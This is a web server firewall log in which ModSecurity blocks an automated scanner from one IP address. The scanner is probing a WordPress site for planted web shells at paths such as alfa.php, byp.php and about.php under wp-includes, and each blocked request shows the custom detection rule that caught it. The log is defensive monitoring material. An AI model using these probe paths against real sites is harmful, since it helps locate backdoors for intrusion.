[Sat Feb 28 20:48:00.991193 2026] [:error] [pid 39183:tid 39216] [client 20.104.124.39:50299] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaLkABCf4HvhVePw3LYnbwAAABg"]
[Sat Feb 28 20:48:01.855346 2026] [:error] [pid 39183:tid 39202] [client 20.104.124.39:50113] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaLkARCf4HvhVePw3LYnfQAAAAo"]
[Sat Feb 28 20:48:11.110598 2026] [:error] [pid 52460:tid 52487] [client 20.104.124.39:50086] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaLkC7LWOogAgHGh62RyTgAAAZg"]
[Sat Feb 28 20:48:11.786161 2026] [:error] [pid 49763:tid 49789] [client 20.104.124.39:50088] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaLkC7THSOG_yf2PpqFCwQAAAdc"]
[Sat Feb 28 20:48:12.544592 2026] [:error] [pid 49763:tid 49771] [client 20.104.124.39:50300] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaLkDLTHSOG_yf2PpqFCygAAAcU"]
[Sat Feb 28 20:48:13.346142 2026] [:error] [pid 49763:tid 49772] [client 20.104.124.39:50208] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaLkDbTHSOG_yf2PpqFC2AAAAcY"]
[Sat Feb 28 20:48:15.465542 2026] [:error] [pid 49763:tid 49770] [client 20.104.124.39:50152] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaLkD7THSOG_yf2PpqFC5AAAAcQ"]
[Sat Feb 28 20:48:16.795009 2026] [:error] [pid 52460:tid 52478] [client 20.104.124.39:50158] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaLkELLWOogAgHGh62RyXwAAAY8"]
[Sat Feb 28 20:48:17.646176 2026] [:error] [pid 39183:tid 39203] [client 20.104.124.39:50171] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaLkERCf4HvhVePw3LYnowAAAAs"]
[Sat Feb 28 20:48:18.377836 2026] [:error] [pid 52460:tid 52481] [client 20.104.124.39:50062] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaLkErLWOogAgHGh62RyZQAAAZI"]
[Sat Feb 28 20:48:19.489986 2026] [:error] [pid 52460:tid 52475] [client 20.104.124.39:50253] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLkE7LWOogAgHGh62RybAAAAYw"]
[Sat Feb 28 20:48:20.049933 2026] [:error] [pid 39292:tid 39296] [client 20.104.124.39:50141] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLkFKIAO5fN7BxyqcFySwAAAMI"]
[Sat Feb 28 20:48:21.389220 2026] [:error] [pid 39183:tid 39200] [client 20.104.124.39:50249] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLkFRCf4HvhVePw3LYnqQAAAAg"]
[Sat Feb 28 20:48:22.457680 2026] [:error] [pid 39183:tid 39212] [client 20.104.124.39:50251] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aaLkFhCf4HvhVePw3LYnrQAAABQ"]
[Sat Feb 28 20:48:24.339650 2026] [:error] [pid 39183:tid 39201] [client 20.104.124.39:50188] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaLkGBCf4HvhVePw3LYnugAAAAk"]
[Sat Feb 28 20:48:26.147174 2026] [:error] [pid 22194:tid 22200] [client 20.104.124.39:50264] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaLkGn6mbajs3bzQGyufXQAAAUQ"]
[Sat Feb 28 20:48:28.896677 2026] [:error] [pid 49763:tid 49774] [client 20.104.124.39:50176] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaLkHLTHSOG_yf2PpqFDCwAAAcg"]
[Sat Feb 28 20:48:30.356972 2026] [:error] [pid 39185:tid 39252] [client 20.104.124.39:50198] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aaLkHhVE-FfM89u7BQacDgAAAIY"]
[Sat Feb 28 20:48:32.155274 2026] [:error] [pid 49763:tid 49777] [client 20.104.124.39:50246] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaLkILTHSOG_yf2PpqFDHQAAAcs"]
[Sat Feb 28 20:48:34.192498 2026] [:error] [pid 49763:tid 49788] [client 20.104.124.39:50280] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaLkIrTHSOG_yf2PpqFDLwAAAdY"]
[Sat Feb 28 20:48:35.960914 2026] [:error] [pid 52460:tid 52469] [client 20.104.124.39:50144] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaLkI7LWOogAgHGh62RyfQAAAYY"]
[Sat Feb 28 20:48:39.429111 2026] [:error] [pid 52460:tid 52475] [client 20.104.124.39:50216] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaLkJ7LWOogAgHGh62RylwAAAYw"]
[Sat Feb 28 20:48:39.931562 2026] [:error] [pid 49763:tid 49773] [client 20.104.124.39:50179] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aaLkJ7THSOG_yf2PpqFDQwAAAcc"]
[Sat Feb 28 20:48:41.215196 2026] [:error] [pid 49763:tid 49768] [client 20.104.124.39:50288] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aaLkKbTHSOG_yf2PpqFDSgAAAcI"]
[Sat Feb 28 20:48:43.283334 2026] [:error] [pid 39185:tid 39260] [client 20.104.124.39:50065] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aaLkKxVE-FfM89u7BQacFgAAAI4"]
[Sat Feb 28 20:48:45.196144 2026] [:error] [pid 49763:tid 49769] [client 20.104.124.39:50146] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "aaLkLbTHSOG_yf2PpqFDaAAAAcM"]
[Sat Feb 28 20:48:46.448717 2026] [:error] [pid 39183:tid 39211] [client 20.104.124.39:50138] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaLkLhCf4HvhVePw3LYn0wAAABM"]
[Sat Feb 28 20:48:47.753177 2026] [:error] [pid 11791:tid 11813] [client 20.104.124.39:50201] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaLkL2uX5e1Q32gqxH2-dAAAARQ"]
[Sat Feb 28 20:48:48.419280 2026] [:error] [pid 11791:tid 11799] [client 20.104.124.39:50130] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaLkMGuX5e1Q32gqxH2-ewAAAQY"]
[Sat Feb 28 20:48:49.591895 2026] [:error] [pid 39292:tid 39306] [client 20.104.124.39:50217] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaLkMaIAO5fN7BxyqcFyWQAAAMw"]
[Sat Feb 28 20:48:51.371426 2026] [:error] [pid 39184:tid 39231] [client 20.104.124.39:50121] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaLkM1tZF9Zd_U7easC0EQAAAEw"]
[Sat Feb 28 20:48:52.989811 2026] [:error] [pid 39184:tid 39242] [client 20.104.124.39:50185] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaLkNFtZF9Zd_U7easC0GAAAAFc"]
[Sat Feb 28 20:48:53.839852 2026] [:error] [pid 49763:tid 49777] [client 20.104.124.39:50127] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaLkNbTHSOG_yf2PpqFDjQAAAcs"]
[Sat Feb 28 20:48:54.801117 2026] [:error] [pid 22194:tid 22202] [client 20.104.124.39:50167] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaLkNn6mbajs3bzQGyuffwAAAUY"]
[Sat Feb 28 20:48:56.818831 2026] [:error] [pid 49763:tid 49770] [client 20.104.124.39:50113] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaLkOLTHSOG_yf2PpqFDlwAAAcQ"]
[Sat Feb 28 20:48:57.355887 2026] [:error] [pid 49763:tid 49780] [client 20.104.124.39:50072] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaLkObTHSOG_yf2PpqFDmQAAAc4"]
[Sat Feb 28 20:48:58.087293 2026] [:error] [pid 49763:tid 49777] [client 20.104.124.39:50126] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaLkOrTHSOG_yf2PpqFDngAAAcs"]
[Sat Feb 28 20:48:59.167276 2026] [:error] [pid 39184:tid 39243] [client 20.104.124.39:50215] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aaLkO1tZF9Zd_U7easC0JAAAAFg"]
[Sat Feb 28 20:49:00.114572 2026] [:error] [pid 22194:tid 22198] [client 20.104.124.39:50173] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaLkPH6mbajs3bzQGyufiAAAAUI"]
[Sat Feb 28 20:49:01.094200 2026] [:error] [pid 39185:tid 39259] [client 20.104.124.39:50262] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaLkPRVE-FfM89u7BQacMgAAAI0"]
[Sat Feb 28 20:49:02.271906 2026] [:error] [pid 39292:tid 39308] [client 20.104.124.39:50232] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaLkPqIAO5fN7BxyqcFyawAAAM4"]
[Sat Feb 28 20:49:03.647829 2026] [:error] [pid 39184:tid 39235] [client 20.104.124.39:50219] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaLkP1tZF9Zd_U7easC0JgAAAFA"]
[Sat Feb 28 20:49:04.932408 2026] [:error] [pid 49763:tid 49773] [client 20.104.124.39:49986] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaLkQLTHSOG_yf2PpqFDsQAAAcc"]
[Sat Feb 28 20:49:06.137939 2026] [:error] [pid 39184:tid 39224] [client 20.104.124.39:50205] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaLkQltZF9Zd_U7easC0MAAAAEU"]
[Sat Feb 28 20:49:07.286773 2026] [:error] [pid 49763:tid 49789] [client 20.104.124.39:50211] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaLkQ7THSOG_yf2PpqFDvwAAAdc"]
[Sat Feb 28 20:49:08.005695 2026] [:error] [pid 49763:tid 49784] [client 20.104.124.39:50132] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aaLkRLTHSOG_yf2PpqFDxwAAAdI"]
[Sat Feb 28 20:49:09.921850 2026] [:error] [pid 39292:tid 39307] [client 20.104.124.39:50206] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aaLkRaIAO5fN7BxyqcFybwAAAM0"]
[Sat Feb 28 20:49:17.268915 2026] [:error] [pid 52460:tid 52475] [client 20.104.124.39:50079] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaLkTbLWOogAgHGh62RzEgAAAYw"]
[Sat Feb 28 20:49:20.084285 2026] [:error] [pid 11791:tid 11793] [client 20.104.124.39:50193] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaLkUGuX5e1Q32gqxH2-ogAAAQA"]
[Sat Feb 28 20:49:24.848811 2026] [:error] [pid 39292:tid 39305] [client 20.104.124.39:50203] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaLkVKIAO5fN7BxyqcFyiQAAAMs"]
[Sat Feb 28 20:49:27.327633 2026] [:error] [pid 11791:tid 11809] [client 20.104.124.39:50119] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaLkV2uX5e1Q32gqxH2-swAAARA"]
[Sat Feb 28 20:49:29.020777 2026] [:error] [pid 52460:tid 52465] [client 20.104.124.39:50183] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaLkWbLWOogAgHGh62RzMwAAAYI"]
[Sat Feb 28 20:49:32.742694 2026] [:error] [pid 39292:tid 39318] [client 20.104.124.39:50125] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaLkXKIAO5fN7BxyqcFykwAAANg"]
[Sat Feb 28 20:49:34.867012 2026] [:error] [pid 22194:tid 22206] [client 20.104.124.39:50061] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaLkXn6mbajs3bzQGyufowAAAUo"]
[Sat Feb 28 20:49:36.642969 2026] [:error] [pid 49763:tid 49787] [client 20.104.124.39:49994] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaLkYLTHSOG_yf2PpqFELwAAAdU"]
